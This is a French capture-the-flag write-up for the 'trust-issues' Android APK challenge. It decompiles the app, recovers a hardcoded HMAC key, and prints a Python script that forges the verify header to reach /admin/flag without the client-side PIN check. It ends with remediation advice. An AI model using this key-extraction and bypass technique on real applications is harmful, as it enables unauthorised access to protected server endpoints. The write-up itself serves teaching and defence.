Contexte
Un APK Android avec des credentials fournis. Mon premier réflexe : lancer jadx et lire le code Java décompilé. La logique réseau est souvent la plus révélatrice dans ce type de challenge.
En quelques minutes, j'ai identifié trois fichiers intéressants : ApiConfig.java pour l'URL de base, ApiClient.java pour la logique réseau, et PinManager.java pour la gestion du PIN.
Dans ApiClient.java, j'ai vu une clé HMAC découpée en quatre tableaux. Et dans PinManager.java, un simple booléen en mémoire. La suite était évidente.
Flag
••••••••••••••••••••••••••••••••Cliquer pour afficher1. Reconnaissance
Première étape : identifier le fichier et décompiler.
Identification et décompilation
$ file trust-issues.apk
trust-issues.apk: Zip archive data
$ jadx -d trust_jadx/ trust-issues.apkLe package principal est com.breizhctf.trustissues. La structure qui m'intéresse :
Fichiers pertinents
api/ApiConfig.java -> URL de base
api/ApiClient.java -> logique réseau (login, pin, flag)
api/PinManager.java -> état de la vérification PIN2. Analyse statique
La clé HMAC hardcodée
Dans ApiClient.java, la clé est découpée en quatre tableaux de 8 octets. C'est une tentative d'obscurcissement pour qu'elle ne ressorte pas directement dans une recherche de strings :
ApiClient.java - clé HMAC
private static final byte[] _k0 = {-115, -34, 107, -68, 44, 91, 35, 42};
private static final byte[] _k1 = {-26, -49, -76, -15, 18, 120, -85, 100};
private static final byte[] _k2 = {-29, 33, -3, 54, 111, -1, 55, -85};
private static final byte[] _k3 = {-56, 119, -78, -44, -116, 110, -34, 29};
private final byte[] getVerifyKey() {
return ArraysKt.plus(ArraysKt.plus(ArraysKt.plus(_k0, _k1), _k2), _k3);
}Java utilise des bytes signés, Python des bytes non signés. Je reconstitue la clé en appliquant b & 0xFF sur chaque valeur.
Le header X-Verify-Token
La requête vers /admin/flag exige un header signé :
ApiClient.java - construction du token
private final String computeVerifyToken(String token, String endpoint) {
Mac mac = Mac.getInstance("HmacSHA256");
mac.init(new SecretKeySpec(getVerifyKey(), "HmacSHA256"));
String data = token + ":" + endpoint;
return mac.doFinal(data.getBytes(UTF_8)); // encodé en hex
}
// Requête finale :
Request request = new Request.Builder()
.url(BASE_URL + "/admin/flag")
.header("Authorization", "Bearer " + token)
.header("X-Verify-Token", verifyToken)
.build();La vérification PIN côté client uniquement
Avant d'appeler /admin/flag, l'app vérifie un PIN. Mais cette vérification est purement en mémoire :
ApiClient.java - garde-fou PIN
if (!PinManager.INSTANCE.isVerified()) {
return "PIN verification required";
}3. Exploitation
Le chemin est direct : login pour obtenir un JWT, calcul du X-Verify-Token, appel direct à /admin/flag sans passer par l'app.
solve.py
import hmac, hashlib, json, urllib.request
# Reconstruction de la clé (bytes Java signés -> Python non signés)
def jbyte(b): return b & 0xFF
k0 = bytes([jbyte(x) for x in [-115, -34, 107, -68, 44, 91, 35, 42]])
k1 = bytes([jbyte(x) for x in [-26, -49, -76, -15, 18, 120, -85, 100]])
k2 = bytes([jbyte(x) for x in [-29, 33, -3, 54, 111, -1, 55, -85]])
k3 = bytes([jbyte(x) for x in [-56, 119, -78, -44, -116, 110, -34, 29]])
key = k0 + k1 + k2 + k3
BASE = "https://i-have-trust-issues.ctf.bzh"
# 1. Login avec les credentials fournis
login_data = json.dumps({"username": "player", "password": "ctf2026"}).encode()
req = urllib.request.Request(
BASE + "/login",
data=login_data,
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req) as r:
token = json.loads(r.read())["token"]
# 2. Calcul du X-Verify-Token
verify_token = hmac.new(
key,
(token + ":/admin/flag").encode(),
hashlib.sha256,
).hexdigest()
# 3. Appel direct sans passer par la vérification PIN
req2 = urllib.request.Request(
BASE + "/admin/flag",
headers={
"Authorization": f"Bearer {token}",
"X-Verify-Token": verify_token,
},
)
with urllib.request.urlopen(req2) as r:
print(json.loads(r.read())["flag"])Résultat
BZHCTF{4i_&_cl13nt_s1d3_ch3cks_4r3_n0t_s3cur1ty}Ce que j'en retiens
- Une clé secrète dans un binaire distribué n'est pas un secret. Peu importe qu'elle soit splitée en 4 tableaux ou obfusquée d'une autre façon - jadx la décompile et je la reconstitue en 3 lignes Python.
- Les checks côté client ne protègent pas le serveur. La vérification PIN ne sert qu'à l'UX - le serveur n'a aucun moyen de savoir si elle a été faite ou non. N'importe quelle requête directe avec les bons headers passe.
- jadx est très efficace sur les APKs non obfusqués. En moins de 5 minutes j'avais toute la logique d'auth sous les yeux, bien plus lisible que du bytecode brut.
Comment le corriger
Deux corrections indépendantes, chacune suffisante pour fermer une des deux failles :
- Pour le PIN : le lier à la session côté serveur. À la vérification PIN réussie, le serveur émet un token de session supplémentaire. Sans ce token, l'accès à
/admin/flagest refusé. - Pour la clé HMAC : ne jamais embarquer un secret cryptographique dans un binaire distribué. La clé doit être dérivée d'un secret serveur, échangée dynamiquement (OAuth PKCE, JWT signé côté serveur, etc.).